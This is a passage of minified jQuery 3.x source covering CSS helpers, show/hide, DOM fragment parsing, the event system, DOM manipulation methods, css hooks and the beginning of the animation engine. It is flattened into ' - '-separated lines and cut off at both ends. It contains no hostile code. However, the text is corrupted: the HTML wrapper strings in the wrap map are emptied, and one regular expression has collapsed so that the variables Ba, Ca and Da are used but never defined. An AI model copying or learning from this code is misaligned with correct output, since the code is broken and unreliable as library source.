RegExp("^(?:([+-])=|)(" + aa + ")([a-z%]*)$","i") - , ca = ["Top", "Right", "Bottom", "Left"] - , da = function(a, b) { - return a = b || a, - "none" === a.style.display || "" === a.style.display && r.contains(a.ownerDocument, a) && "none" === r.css(a, "display") - } - , ea = function(a, b, c, d) { - var e, f, g = {}; - for (f in b) - g[f] = a.style[f], - a.style[f] = b[f]; - e = c.apply(a, d || []); - for (f in b) - a.style[f] = g[f]; - return e - }; - function fa(a, b, c, d) { - var e, f = 1, g = 20, h = d ? function() { - return d.cur() - } - : function() { - return r.css(a, b, "") - } - , i = h(), j = c && c[3] || (r.cssNumber[b] ? "" : "px"), k = (r.cssNumber[b] || "px" !== j && +i) && ba.exec(r.css(a, b)); - if (k && k[3] !== j) { - j = j || k[3], - c = c || [], - k = +i || 1; - do - f = f || ".5", - k /= f, - r.style(a, b, k + j); - while (f !== (f = h() / i) && 1 !== f && --g) - } - return c && (k = +k || +i || 0, - e = c[1] ? k + (c[1] + 1) * c[2] : +c[2], - d && (d.unit = j, - d.start = k, - d.end = e)), - e - } - var ga = {}; - function ha(a) { - var b, c = a.ownerDocument, d = a.nodeName, e = ga[d]; - return e ? e : (b = c.body.appendChild(c.createElement(d)), - e = r.css(b, "display"), - b.parentNode.removeChild(b), - "none" === e && (e = "block"), - ga[d] = e, - e) - } - function ia(a, b) { - for (var c, d, e = [], f = 0, g = a.length; f < g; f++) - d = a[f], - d.style && (c = d.style.display, - b ? ("none" === c && (e[f] = W.get(d, "display") || null, - e[f] || (d.style.display = "")), - "" === d.style.display && da(d) && (e[f] = ha(d))) : "none" !== c && (e[f] = "none", - W.set(d, "display", c))); - for (f = 0; f < g; f++) - null != e[f] && (a[f].style.display = e[f]); - return a - } - r.fn.extend({ - show: function() { - return ia(this, !0) - }, - hide: function() { - return ia(this) - }, - toggle: function(a) { - return "boolean" == typeof a ? a ? this.show() : this.hide() : this.each(function() { - da(this) ? r(this).show() : r(this).hide() - }) - } - }); - var ja = /^(?:checkbox|radio)$/i - , ka = /<([a-z][^\/\0>\x20\t\r\n\f]+)/i - , la = /^$|\/(?:java|ecma)script/i - , ma = { - option: [1, ""], - thead: [1, "", "
"], - col: [2, "", "
"], - tr: [2, "", "
"], - td: [3, "", "
"], - _default: [0, "", ""] - }; - ma.optgroup = ma.option, - ma.tbody = ma.tfoot = ma.colgroup = ma.caption = ma.thead, - ma.th = ma.td; - function na(a, b) { - var c; - return c = "undefined" != typeof a.getElementsByTagName ? a.getElementsByTagName(b || "*") : "undefined" != typeof a.querySelectorAll ? a.querySelectorAll(b || "*") : [], - void 0 === b || b && B(a, b) ? r.merge([a], c) : c - } - function oa(a, b) { - for (var c = 0, d = a.length; c < d; c++) - W.set(a[c], "globalEval", !b || W.get(b[c], "globalEval")) - } - var pa = /<|&#?\w+;/; - function qa(a, b, c, d, e) { - for (var f, g, h, i, j, k, l = b.createDocumentFragment(), m = [], n = 0, o = a.length; n < o; n++) - if (f = a[n], - f || 0 === f) - if ("object" === r.type(f)) - r.merge(m, f.nodeType ? [f] : f); - else if (pa.test(f)) { - g = g || l.appendChild(b.createElement("div")), - h = (ka.exec(f) || ["", ""])[1].toLowerCase(), - i = ma[h] || ma._default, - g.innerHTML = i[1] + r.htmlPrefilter(f) + i[2], - k = i[0]; - while (k--) - g = g.lastChild; - r.merge(m, g.childNodes), - g = l.firstChild, - g.textContent = "" - } else - m.push(b.createTextNode(f)); - l.textContent = "", - n = 0; - while (f = m[n++]) - if (d && r.inArray(f, d) > -1) - e && e.push(f); - else if (j = r.contains(f.ownerDocument, f), - g = na(l.appendChild(f), "script"), - j && oa(g), - c) { - k = 0; - while (f = g[k++]) - la.test(f.type || "") && c.push(f) - } - return l - } - !function() { - var a = d.createDocumentFragment() - , b = a.appendChild(d.createElement("div")) - , c = d.createElement("input"); - c.setAttribute("type", "radio"), - c.setAttribute("checked", "checked"), - c.setAttribute("name", "t"), - b.appendChild(c), - o.checkClone = b.cloneNode(!0).cloneNode(!0).lastChild.checked, - b.innerHTML = "", - o.noCloneChecked = !!b.cloneNode(!0).lastChild.defaultValue - }(); - var ra = d.documentElement - , sa = /^key/ - , ta = /^(?:mouse|pointer|contextmenu|drag|drop)|click/ - , ua = /^([^.]*)(?:\.(.+)|)/; - function va() { - return !0 - } - function wa() { - return !1 - } - function xa() { - try { - return d.activeElement - } catch (a) {} - } - function ya(a, b, c, d, e, f) { - var g, h; - if ("object" == typeof b) { - "string" != typeof c && (d = d || c, - c = void 0); - for (h in b) - ya(a, h, c, d, b[h], f); - return a - } - if (null == d && null == e ? (e = c, - d = c = void 0) : null == e && ("string" == typeof c ? (e = d, - d = void 0) : (e = d, - d = c, - c = void 0)), - e === !1) - e = wa; - else if (!e) - return a; - return 1 === f && (g = e, - e = function(a) { - return r().off(a), - g.apply(this, arguments) - } - , - e.guid = g.guid || (g.guid = r.guid++)), - a.each(function() { - r.event.add(this, b, e, d, c) - }) - } - r.event = { - global: {}, - add: function(a, b, c, d, e) { - var f, g, h, i, j, k, l, m, n, o, p, q = W.get(a); - if (q) { - c.handler && (f = c, - c = f.handler, - e = f.selector), - e && r.find.matchesSelector(ra, e), - c.guid || (c.guid = r.guid++), - (i = q.events) || (i = q.events = {}), - (g = q.handle) || (g = q.handle = function(b) { - return "undefined" != typeof r && r.event.triggered !== b.type ? r.event.dispatch.apply(a, arguments) : void 0 - } - ), - b = (b || "").match(L) || [""], - j = b.length; - while (j--) - h = ua.exec(b[j]) || [], - n = p = h[1], - o = (h[2] || "").split(".").sort(), - n && (l = r.event.special[n] || {}, - n = (e ? l.delegateType : l.bindType) || n, - l = r.event.special[n] || {}, - k = r.extend({ - type: n, - origType: p, - data: d, - handler: c, - guid: c.guid, - selector: e, - needsContext: e && r.expr.match.needsContext.test(e), - namespace: o.join(".") - }, f), - (m = i[n]) || (m = i[n] = [], - m.delegateCount = 0, - l.setup && l.setup.call(a, d, o, g) !== !1 || a.addEventListener && a.addEventListener(n, g)), - l.add && (l.add.call(a, k), - k.handler.guid || (k.handler.guid = c.guid)), - e ? m.splice(m.delegateCount++, 0, k) : m.push(k), - r.event.global[n] = !0) - } - }, - remove: function(a, b, c, d, e) { - var f, g, h, i, j, k, l, m, n, o, p, q = W.hasData(a) && W.get(a); - if (q && (i = q.events)) { - b = (b || "").match(L) || [""], - j = b.length; - while (j--) - if (h = ua.exec(b[j]) || [], - n = p = h[1], - o = (h[2] || "").split(".").sort(), - n) { - l = r.event.special[n] || {}, - n = (d ? l.delegateType : l.bindType) || n, - m = i[n] || [], - h = h[2] && new RegExp("(^|\\.)" + o.join("\\.(?:.*\\.|)") + "(\\.|$)"), - g = f = m.length; - while (f--) - k = m[f], - !e && p !== k.origType || c && c.guid !== k.guid || h && !h.test(k.namespace) || d && d !== k.selector && ("**" !== d || !k.selector) || (m.splice(f, 1), - k.selector && m.delegateCount--, - l.remove && l.remove.call(a, k)); - g && !m.length && (l.teardown && l.teardown.call(a, o, q.handle) !== !1 || r.removeEvent(a, n, q.handle), - delete i[n]) - } else - for (n in i) - r.event.remove(a, n + b[j], c, d, !0); - r.isEmptyObject(i) && W.remove(a, "handle events") - } - }, - dispatch: function(a) { - var b = r.event.fix(a), c, d, e, f, g, h, i = new Array(arguments.length), j = (W.get(this, "events") || {})[b.type] || [], k = r.event.special[b.type] || {}; - for (i[0] = b, - c = 1; c < arguments.length; c++) - i[c] = arguments[c]; - if (b.delegateTarget = this, - !k.preDispatch || k.preDispatch.call(this, b) !== !1) { - h = r.event.handlers.call(this, b, j), - c = 0; - while ((f = h[c++]) && !b.isPropagationStopped()) { - b.currentTarget = f.elem, - d = 0; - while ((g = f.handlers[d++]) && !b.isImmediatePropagationStopped()) - b.rnamespace && !b.rnamespace.test(g.namespace) || (b.handleObj = g, - b.data = g.data, - e = ((r.event.special[g.origType] || {}).handle || g.handler).apply(f.elem, i), - void 0 !== e && (b.result = e) === !1 && (b.preventDefault(), - b.stopPropagation())) - } - return k.postDispatch && k.postDispatch.call(this, b), - b.result - } - }, - handlers: function(a, b) { - var c, d, e, f, g, h = [], i = b.delegateCount, j = a.target; - if (i && j.nodeType && !("click" === a.type && a.button >= 1)) - for (; j !== this; j = j.parentNode || this) - if (1 === j.nodeType && ("click" !== a.type || j.disabled !== !0)) { - for (f = [], - g = {}, - c = 0; c < i; c++) - d = b[c], - e = d.selector + " ", - void 0 === g[e] && (g[e] = d.needsContext ? r(e, this).index(j) > -1 : r.find(e, this, null, [j]).length), - g[e] && f.push(d); - f.length && h.push({ - elem: j, - handlers: f - }) - } - return j = this, - i < b.length && h.push({ - elem: j, - handlers: b.slice(i) - }), - h - }, - addProp: function(a, b) { - Object.defineProperty(r.Event.prototype, a, { - enumerable: !0, - configurable: !0, - get: r.isFunction(b) ? function() { - if (this.originalEvent) - return b(this.originalEvent) - } - : function() { - if (this.originalEvent) - return this.originalEvent[a] - } - , - set: function(b) { - Object.defineProperty(this, a, { - enumerable: !0, - configurable: !0, - writable: !0, - value: b - }) - } - }) - }, - fix: function(a) { - return a[r.expando] ? a : new r.Event(a) - }, - special: { - load: { - noBubble: !0 - }, - focus: { - trigger: function() { - if (this !== xa() && this.focus) - return this.focus(), - !1 - }, - delegateType: "focusin" - }, - blur: { - trigger: function() { - if (this === xa() && this.blur) - return this.blur(), - !1 - }, - delegateType: "focusout" - }, - click: { - trigger: function() { - if ("checkbox" === this.type && this.click && B(this, "input")) - return this.click(), - !1 - }, - _default: function(a) { - return B(a.target, "a") - } - }, - beforeunload: { - postDispatch: function(a) { - void 0 !== a.result && a.originalEvent && (a.originalEvent.returnValue = a.result) - } - } - } - }, - r.removeEvent = function(a, b, c) { - a.removeEventListener && a.removeEventListener(b, c) - } - , - r.Event = function(a, b) { - return this instanceof r.Event ? (a && a.type ? (this.originalEvent = a, - this.type = a.type, - this.isDefaultPrevented = a.defaultPrevented || void 0 === a.defaultPrevented && a.returnValue === !1 ? va : wa, - this.target = a.target && 3 === a.target.nodeType ? a.target.parentNode : a.target, - this.currentTarget = a.currentTarget, - this.relatedTarget = a.relatedTarget) : this.type = a, - b && r.extend(this, b), - this.timeStamp = a && a.timeStamp || r.now(), - void (this[r.expando] = !0)) : new r.Event(a,b) - } - , - r.Event.prototype = { - constructor: r.Event, - isDefaultPrevented: wa, - isPropagationStopped: wa, - isImmediatePropagationStopped: wa, - isSimulated: !1, - preventDefault: function() { - var a = this.originalEvent; - this.isDefaultPrevented = va, - a && !this.isSimulated && a.preventDefault() - }, - stopPropagation: function() { - var a = this.originalEvent; - this.isPropagationStopped = va, - a && !this.isSimulated && a.stopPropagation() - }, - stopImmediatePropagation: function() { - var a = this.originalEvent; - this.isImmediatePropagationStopped = va, - a && !this.isSimulated && a.stopImmediatePropagation(), - this.stopPropagation() - } - }, - r.each({ - altKey: !0, - bubbles: !0, - cancelable: !0, - changedTouches: !0, - ctrlKey: !0, - detail: !0, - eventPhase: !0, - metaKey: !0, - pageX: !0, - pageY: !0, - shiftKey: !0, - view: !0, - "char": !0, - charCode: !0, - key: !0, - keyCode: !0, - button: !0, - buttons: !0, - clientX: !0, - clientY: !0, - offsetX: !0, - offsetY: !0, - pointerId: !0, - pointerType: !0, - screenX: !0, - screenY: !0, - targetTouches: !0, - toElement: !0, - touches: !0, - which: function(a) { - var b = a.button; - return null == a.which && sa.test(a.type) ? null != a.charCode ? a.charCode : a.keyCode : !a.which && void 0 !== b && ta.test(a.type) ? 1 & b ? 1 : 2 & b ? 3 : 4 & b ? 2 : 0 : a.which - } - }, r.event.addProp), - r.each({ - mouseenter: "mouseover", - mouseleave: "mouseout", - pointerenter: "pointerover", - pointerleave: "pointerout" - }, function(a, b) { - r.event.special[a] = { - delegateType: b, - bindType: b, - handle: function(a) { - var c, d = this, e = a.relatedTarget, f = a.handleObj; - return e && (e === d || r.contains(d, e)) || (a.type = f.origType, - c = f.handler.apply(this, arguments), - a.type = b), - c - } - } - }), - r.fn.extend({ - on: function(a, b, c, d) { - return ya(this, a, b, c, d) - }, - one: function(a, b, c, d) { - return ya(this, a, b, c, d, 1) - }, - off: function(a, b, c) { - var d, e; - if (a && a.preventDefault && a.handleObj) - return d = a.handleObj, - r(a.delegateTarget).off(d.namespace ? d.origType + "." + d.namespace : d.origType, d.selector, d.handler), - this; - if ("object" == typeof a) { - for (e in a) - this.off(e, b, a[e]); - return this - } - return b !== !1 && "function" != typeof b || (c = b, - b = void 0), - c === !1 && (c = wa), - this.each(function() { - r.event.remove(this, a, c, b) - }) - } - }); - var za = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi - , Aa = /\s*$/g; - function Ea(a, b) { - return B(a, "table") && B(11 !== b.nodeType ? b : b.firstChild, "tr") ? r(">tbody", a)[0] || a : a - } - function Fa(a) { - return a.type = (null !== a.getAttribute("type")) + "/" + a.type, - a - } - function Ga(a) { - var b = Ca.exec(a.type); - return b ? a.type = b[1] : a.removeAttribute("type"), - a - } - function Ha(a, b) { - var c, d, e, f, g, h, i, j; - if (1 === b.nodeType) { - if (W.hasData(a) && (f = W.access(a), - g = W.set(b, f), - j = f.events)) { - delete g.handle, - g.events = {}; - for (e in j) - for (c = 0, - d = j[e].length; c < d; c++) - r.event.add(b, e, j[e][c]) - } - X.hasData(a) && (h = X.access(a), - i = r.extend({}, h), - X.set(b, i)) - } - } - function Ia(a, b) { - var c = b.nodeName.toLowerCase(); - "input" === c && ja.test(a.type) ? b.checked = a.checked : "input" !== c && "textarea" !== c || (b.defaultValue = a.defaultValue) - } - function Ja(a, b, c, d) { - b = g.apply([], b); - var e, f, h, i, j, k, l = 0, m = a.length, n = m - 1, q = b[0], s = r.isFunction(q); - if (s || m > 1 && "string" == typeof q && !o.checkClone && Ba.test(q)) - return a.each(function(e) { - var f = a.eq(e); - s && (b[0] = q.call(this, e, f.html())), - Ja(f, b, c, d) - }); - if (m && (e = qa(b, a[0].ownerDocument, !1, a, d), - f = e.firstChild, - 1 === e.childNodes.length && (e = f), - f || d)) { - for (h = r.map(na(e, "script"), Fa), - i = h.length; l < m; l++) - j = e, - l !== n && (j = r.clone(j, !0, !0), - i && r.merge(h, na(j, "script"))), - c.call(a[l], j, l); - if (i) - for (k = h[h.length - 1].ownerDocument, - r.map(h, Ga), - l = 0; l < i; l++) - j = h[l], - la.test(j.type || "") && !W.access(j, "globalEval") && r.contains(k, j) && (j.src ? r._evalUrl && r._evalUrl(j.src) : p(j.textContent.replace(Da, ""), k)) - } - return a - } - function Ka(a, b, c) { - for (var d, e = b ? r.filter(b, a) : a, f = 0; null != (d = e[f]); f++) - c || 1 !== d.nodeType || r.cleanData(na(d)), - d.parentNode && (c && r.contains(d.ownerDocument, d) && oa(na(d, "script")), - d.parentNode.removeChild(d)); - return a - } - r.extend({ - htmlPrefilter: function(a) { - return a.replace(za, "<$1>") - }, - clone: function(a, b, c) { - var d, e, f, g, h = a.cloneNode(!0), i = r.contains(a.ownerDocument, a); - if (!(o.noCloneChecked || 1 !== a.nodeType && 11 !== a.nodeType || r.isXMLDoc(a))) - for (g = na(h), - f = na(a), - d = 0, - e = f.length; d < e; d++) - Ia(f[d], g[d]); - if (b) - if (c) - for (f = f || na(a), - g = g || na(h), - d = 0, - e = f.length; d < e; d++) - Ha(f[d], g[d]); - else - Ha(a, h); - return g = na(h, "script"), - g.length > 0 && oa(g, !i && na(a, "script")), - h - }, - cleanData: function(a) { - for (var b, c, d, e = r.event.special, f = 0; void 0 !== (c = a[f]); f++) - if (U(c)) { - if (b = c[W.expando]) { - if (b.events) - for (d in b.events) - e[d] ? r.event.remove(c, d) : r.removeEvent(c, d, b.handle); - c[W.expando] = void 0 - } - c[X.expando] && (c[X.expando] = void 0) - } - } - }), - r.fn.extend({ - detach: function(a) { - return Ka(this, a, !0) - }, - remove: function(a) { - return Ka(this, a) - }, - text: function(a) { - return T(this, function(a) { - return void 0 === a ? r.text(this) : this.empty().each(function() { - 1 !== this.nodeType && 11 !== this.nodeType && 9 !== this.nodeType || (this.textContent = a) - }) - }, null, a, arguments.length) - }, - append: function() { - return Ja(this, arguments, function(a) { - if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) { - var b = Ea(this, a); - b.appendChild(a) - } - }) - }, - prepend: function() { - return Ja(this, arguments, function(a) { - if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) { - var b = Ea(this, a); - b.insertBefore(a, b.firstChild) - } - }) - }, - before: function() { - return Ja(this, arguments, function(a) { - this.parentNode && this.parentNode.insertBefore(a, this) - }) - }, - after: function() { - return Ja(this, arguments, function(a) { - this.parentNode && this.parentNode.insertBefore(a, this.nextSibling) - }) - }, - empty: function() { - for (var a, b = 0; null != (a = this[b]); b++) - 1 === a.nodeType && (r.cleanData(na(a, !1)), - a.textContent = ""); - return this - }, - clone: function(a, b) { - return a = null != a && a, - b = null == b ? a : b, - this.map(function() { - return r.clone(this, a, b) - }) - }, - html: function(a) { - return T(this, function(a) { - var b = this[0] || {} - , c = 0 - , d = this.length; - if (void 0 === a && 1 === b.nodeType) - return b.innerHTML; - if ("string" == typeof a && !Aa.test(a) && !ma[(ka.exec(a) || ["", ""])[1].toLowerCase()]) { - a = r.htmlPrefilter(a); - try { - for (; c < d; c++) - b = this[c] || {}, - 1 === b.nodeType && (r.cleanData(na(b, !1)), - b.innerHTML = a); - b = 0 - } catch (e) {} - } - b && this.empty().append(a) - }, null, a, arguments.length) - }, - replaceWith: function() { - var a = []; - return Ja(this, arguments, function(b) { - var c = this.parentNode; - r.inArray(this, a) < 0 && (r.cleanData(na(this)), - c && c.replaceChild(b, this)) - }, a) - } - }), - r.each({ - appendTo: "append", - prependTo: "prepend", - insertBefore: "before", - insertAfter: "after", - replaceAll: "replaceWith" - }, function(a, b) { - r.fn[a] = function(a) { - for (var c, d = [], e = r(a), f = e.length - 1, g = 0; g <= f; g++) - c = g === f ? this : this.clone(!0), - r(e[g])[b](c), - h.apply(d, c.get()); - return this.pushStack(d) - } - }); - var La = /^margin/ - , Ma = new RegExp("^(" + aa + ")(?!px)[a-z%]+$","i") - , Na = function(b) { - var c = b.ownerDocument.defaultView; - return c && c.opener || (c = a), - c.getComputedStyle(b) - }; - !function() { - function b() { - if (i) { - i.style.cssText = "box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%", - i.innerHTML = "", - ra.appendChild(h); - var b = a.getComputedStyle(i); - c = "1%" !== b.top, - g = "2px" === b.marginLeft, - e = "4px" === b.width, - i.style.marginRight = "50%", - f = "4px" === b.marginRight, - ra.removeChild(h), - i = null - } - } - var c, e, f, g, h = d.createElement("div"), i = d.createElement("div"); - i.style && (i.style.backgroundClip = "content-box", - i.cloneNode(!0).style.backgroundClip = "", - o.clearCloneStyle = "content-box" === i.style.backgroundClip, - h.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute", - h.appendChild(i), - r.extend(o, { - pixelPosition: function() { - return b(), - c - }, - boxSizingReliable: function() { - return b(), - e - }, - pixelMarginRight: function() { - return b(), - f - }, - reliableMarginLeft: function() { - return b(), - g - } - })) - }(); - function Oa(a, b, c) { - var d, e, f, g, h = a.style; - return c = c || Na(a), - c && (g = c.getPropertyValue(b) || c[b], - "" !== g || r.contains(a.ownerDocument, a) || (g = r.style(a, b)), - !o.pixelMarginRight() && Ma.test(g) && La.test(b) && (d = h.width, - e = h.minWidth, - f = h.maxWidth, - h.minWidth = h.maxWidth = h.width = g, - g = c.width, - h.width = d, - h.minWidth = e, - h.maxWidth = f)), - void 0 !== g ? g + "" : g - } - function Pa(a, b) { - return { - get: function() { - return a() ? void delete this.get : (this.get = b).apply(this, arguments) - } - } - } - var Qa = /^(none|table(?!-c[ea]).+)/ - , Ra = /^--/ - , Sa = { - position: "absolute", - visibility: "hidden", - display: "block" - } - , Ta = { - letterSpacing: "0", - fontWeight: "400" - } - , Ua = ["Webkit", "Moz", "ms"] - , Va = d.createElement("div").style; - function Wa(a) { - if (a in Va) - return a; - var b = a[0].toUpperCase() + a.slice(1) - , c = Ua.length; - while (c--) - if (a = Ua[c] + b, - a in Va) - return a - } - function Xa(a) { - var b = r.cssProps[a]; - return b || (b = r.cssProps[a] = Wa(a) || a), - b - } - function Ya(a, b, c) { - var d = ba.exec(b); - return d ? Math.max(0, d[2] - (c || 0)) + (d[3] || "px") : b - } - function Za(a, b, c, d, e) { - var f, g = 0; - for (f = c === (d ? "border" : "content") ? 4 : "width" === b ? 1 : 0; f < 4; f += 2) - "margin" === c && (g += r.css(a, c + ca[f], !0, e)), - d ? ("content" === c && (g -= r.css(a, "padding" + ca[f], !0, e)), - "margin" !== c && (g -= r.css(a, "border" + ca[f] + "Width", !0, e))) : (g += r.css(a, "padding" + ca[f], !0, e), - "padding" !== c && (g += r.css(a, "border" + ca[f] + "Width", !0, e))); - return g - } - function $a(a, b, c) { - var d, e = Na(a), f = Oa(a, b, e), g = "border-box" === r.css(a, "boxSizing", !1, e); - return Ma.test(f) ? f : (d = g && (o.boxSizingReliable() || f === a.style[b]), - "auto" === f && (f = a["offset" + b[0].toUpperCase() + b.slice(1)]), - f = parseFloat(f) || 0, - f + Za(a, b, c || (g ? "border" : "content"), d, e) + "px") - } - r.extend({ - cssHooks: { - opacity: { - get: function(a, b) { - if (b) { - var c = Oa(a, "opacity"); - return "" === c ? "1" : c - } - } - } - }, - cssNumber: { - animationIterationCount: !0, - columnCount: !0, - fillOpacity: !0, - flexGrow: !0, - flexShrink: !0, - fontWeight: !0, - lineHeight: !0, - opacity: !0, - order: !0, - orphans: !0, - widows: !0, - zIndex: !0, - zoom: !0 - }, - cssProps: { - "float": "cssFloat" - }, - style: function(a, b, c, d) { - if (a && 3 !== a.nodeType && 8 !== a.nodeType && a.style) { - var e, f, g, h = r.camelCase(b), i = Ra.test(b), j = a.style; - return i || (b = Xa(h)), - g = r.cssHooks[b] || r.cssHooks[h], - void 0 === c ? g && "get"in g && void 0 !== (e = g.get(a, !1, d)) ? e : j[b] : (f = typeof c, - "string" === f && (e = ba.exec(c)) && e[1] && (c = fa(a, b, e), - f = "number"), - null != c && c === c && ("number" === f && (c += e && e[3] || (r.cssNumber[h] ? "" : "px")), - o.clearCloneStyle || "" !== c || 0 !== b.indexOf("background") || (j[b] = "inherit"), - g && "set"in g && void 0 === (c = g.set(a, c, d)) || (i ? j.setProperty(b, c) : j[b] = c)), - void 0) - } - }, - css: function(a, b, c, d) { - var e, f, g, h = r.camelCase(b), i = Ra.test(b); - return i || (b = Xa(h)), - g = r.cssHooks[b] || r.cssHooks[h], - g && "get"in g && (e = g.get(a, !0, c)), - void 0 === e && (e = Oa(a, b, d)), - "normal" === e && b in Ta && (e = Ta[b]), - "" === c || c ? (f = parseFloat(e), - c === !0 || isFinite(f) ? f || 0 : e) : e - } - }), - r.each(["height", "width"], function(a, b) { - r.cssHooks[b] = { - get: function(a, c, d) { - if (c) - return !Qa.test(r.css(a, "display")) || a.getClientRects().length && a.getBoundingClientRect().width ? $a(a, b, d) : ea(a, Sa, function() { - return $a(a, b, d) - }) - }, - set: function(a, c, d) { - var e, f = d && Na(a), g = d && Za(a, b, d, "border-box" === r.css(a, "boxSizing", !1, f), f); - return g && (e = ba.exec(c)) && "px" !== (e[3] || "px") && (a.style[b] = c, - c = r.css(a, b)), - Ya(a, c, g) - } - } - }), - r.cssHooks.marginLeft = Pa(o.reliableMarginLeft, function(a, b) { - if (b) - return (parseFloat(Oa(a, "marginLeft")) || a.getBoundingClientRect().left - ea(a, { - marginLeft: 0 - }, function() { - return a.getBoundingClientRect().left - })) + "px" - }), - r.each({ - margin: "", - padding: "", - border: "Width" - }, function(a, b) { - r.cssHooks[a + b] = { - expand: function(c) { - for (var d = 0, e = {}, f = "string" == typeof c ? c.split(" ") : [c]; d < 4; d++) - e[a + ca[d] + b] = f[d] || f[d - 2] || f[0]; - return e - } - }, - La.test(a) || (r.cssHooks[a + b].set = Ya) - }), - r.fn.extend({ - css: function(a, b) { - return T(this, function(a, b, c) { - var d, e, f = {}, g = 0; - if (Array.isArray(b)) { - for (d = Na(a), - e = b.length; g < e; g++) - f[b[g]] = r.css(a, b[g], !1, d); - return f - } - return void 0 !== c ? r.style(a, b, c) : r.css(a, b) - }, a, b, arguments.length > 1) - } - }); - function _a(a, b, c, d, e) { - return new _a.prototype.init(a,b,c,d,e) - } - r.Tween = _a, - _a.prototype = { - constructor: _a, - init: function(a, b, c, d, e, f) { - this.elem = a, - this.prop = c, - this.easing = e || r.easing._default, - this.options = b, - this.start = this.now = this.cur(), - this.end = d, - this.unit = f || (r.cssNumber[c] ? "" : "px") - }, - cur: function() { - var a = _a.propHooks[this.prop]; - return a && a.get ? a.get(this) : _a.propHooks._default.get(this) - }, - run: function(a) { - var b, c = _a.propHooks[this.prop]; - return this.options.duration ? this.pos = b = r.easing[this.easing](a, this.options.duration * a, 0, 1, this.options.duration) : this.pos = b = a, - this.now = (this.end - this.start) * b + this.start, - this.options.step && this.options.step.call(this.elem, this.now, this), - c && c.set ? c.set(this) : _a.propHooks._default.set(this), - this - } - }, - _a.prototype.init.prototype = _a.prototype, - _a.propHooks = { - _default: { - get: function(a) { - var b; - return 1 !== a.elem.nodeType || null != a.elem[a.prop] && null == a.elem.style[a.prop] ? a.elem[a.prop] : (b = r.css(a.elem, a.prop, ""), - b && "auto" !== b ? b : 0) - }, - set: function(a) { - r.fx.step[a.prop] ? r.fx.step[a.prop](a) : 1 !== a.elem.nodeType || null == a.elem.style[r.cssProps[a.prop]] && !r.cssHooks[a.prop] ? a.elem[a.prop] = a.now : r.style(a.elem, a.prop, a.now + a.unit) - } - } - }, - _a.propHooks.scrollTop = _a.propHooks.scrollLeft = { - set: function(a) { - a.elem.nodeType && a.elem.parentNode && (a.elem[a.prop] = a.now) - } - }, - r.easing = { - linear: function(a) { - return a - }, - swing: function(a) { - return .5 - Math.cos(a * Math.PI) / 2 - }, - _default: "swing" - }, - r.fx = _a.prototype.init, - r.fx.step = {}; - var ab, bb, cb = /^(?:toggle|show|hide)$/, db = /queueHooks$/; - function eb() { - bb && (d.hidden === !1 && a.requestAnimationFrame ? a.requestAnimationFrame(eb) : a.setTimeout(eb, r.fx.interval), - r.fx.tick()) - } - function fb() { - return a.setTimeout(function() { - ab = void 0 - }), - ab = r.now() - } - function gb(a, b) { - var c, d = 0, e = { - height: a - }; - for (b = b ? 1 : 0; d < 4; d += 2 - b) - c = ca[d], - e["margin" + c] = e["padding" + c] = a; - return b && (e.opacity = e.width = a), - e - } - function hb(a, b, c) { - for (var d, e = (kb.tweeners[b] || []).concat(kb.tweeners["*"]), f = 0, g = e.length; f < g; f++) - if (d = e[f].call(c, b, a)) - return d - } - function ib(a, b, c) { - var d, e, f, g, h, i, j, k, l = "width"in b || "height"in b, m = this, n = {}, o = a.style, p = a.nodeType && da(a), q = W.get(a, "fxshow"); - c.queue || (g = r._queueHooks(a, "fx"), - null == g.unqueued && (g.unqueued = 0, - h = g.empty.fire, - g.empty.fire = function() { - g.unqueued || h() - } - ), - g.unqueued++, - m.always(function() { - m.always(function() { - g.unqueued--, - r.queue(a, "fx").length || g.empty.fire() - }) - })); - for (d in b) - if (e = b[d], - cb.test(e)) { - if (delete b[d], - f = f || "toggle" === e, - e === (p ? "hide" : "show")) { - if ("show" !== e || !q || void 0 === q[d]) - continue; - p = !0 - } - n[d] = q && q[d] || r.style(a, d) - } - if (i = !r.isEmptyObject(b), - i || !r.isEmptyObject(n)) { - l && 1 === a.nodeType && (c.overflow = [o.overflow, o.overflowX, o.overflowY], - j = q && q.display, - null == j && (j = W.get(a, "display")), - k = r.css(a, "display"), - "none" === k && (j ? k = j : (ia([a], !0), - j = a.style.display || j, - k = r.css(a, "display"), - ia([a]))), - ("inline" === k || "inline-block" === k && null != j) && "none" === r.css(a, "float") && (i || (m.done(function() { - o.display = j - }), - null == j && (k = o.display, - j = "none" === k ? "" : k)), - o.display = "inline-block")), - c.overflow && (o.overflow = "hidden", - m.always(function() { - o.overflow = c.overflow[0], - o.overflowX = c.overflow[1], - o.overflowY = c.overflow[2] - })), - i = !1; - for (d in n) - i || (q ? "hidden"in q && (p = q.hidden) : q = W.access(a, "fxshow", { - display: j - }), - f && (q.hidden = !p), - p && ia([a], !0), - m.done(function() { - p || ia([a]), - W.remove(a, "fxshow"); - for (d in n) - r.style(a, d, n[d]) - })), - i = hb(p ? q[d] : 0, d, m), - d in q || (q[d] = i.start, - p && (i.end = i.start, - i.start = 0)) - } - } - function jb(a, b) { - var c, d, e, f, g; - for (c in a) - if (d = r.camelCase(c), - e = b[d], - f = a[c], - Array.isArray(f) && (e = f[1], - f = a[c] = f[0]), - c !== d && (a[d] = f, - delete a[c]), - g = r.cssHooks[d], - g && "expand"in g) { - f = g.expand(f), - delete a[d]; - for (c in f) - c in a || (a[c] = f[c], - b[c] = e) - } else - b[d] = e - } - function kb(a, b, c) { - var d, e, f = 0, g = kb.prefilters.length, h = r.Deferred().always(function() { - delete i.elem - }), i = function() { - if (e) - return !1; - for (var b = ab || fb(), c = Math.max(0, j.startTime + j.duration - b), d = c / j.duration || 0, f = 1 - d, g = 0, i = j.tweens.length; g < i; g++) - j.tweens[g].run(f); - return h.notifyWith(a, [j, f, c]), - f < 1 && i ? c : (i || h.notifyWith(a, [j, 1, 0]), - h.resolveWith(a, [j]), - !1) - }, j = h.promise({ - elem: a, - props: r.extend({}, b), - opts: r.extend(!0, { - specialEasing: {}, - easing: r.easing._default - }, c), - originalProperties: b, - originalOptions: c, - startTime: ab || fb(), - duration: c.duration, - tweens: [], - createTween: function(b, c) { - var d = r.Tween(a, j.opts, b, c, j.opts.specialEasing[b] || 